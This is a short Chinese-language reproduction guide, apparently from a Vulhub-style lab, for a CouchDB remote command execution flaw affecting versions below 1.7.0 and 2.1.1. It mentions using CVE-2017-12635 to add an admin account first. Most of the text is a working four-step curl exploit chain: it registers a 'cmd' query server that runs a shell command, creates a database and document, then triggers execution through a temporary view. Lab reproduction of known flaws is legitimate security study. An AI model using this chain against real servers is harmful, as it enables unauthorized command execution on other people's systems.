影响版本:小于 1.7.0 以及 小于 2.1.1
该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户
依次执行如下请求即可触发任意命令执行:
其中,vulhub:vulhub为管理员账号密码。
curl -X PUT 'http://vulhub:vulhub@192.168.49.2:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@192.168.49.2:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@192.168.49.2:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@192.168.49.2:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
第四个请求就是在这个Database里进行查询,因为我将language设置为cmd,这里就会用到我第一步里添加的名为cmd的query_servers,最后触发命令执行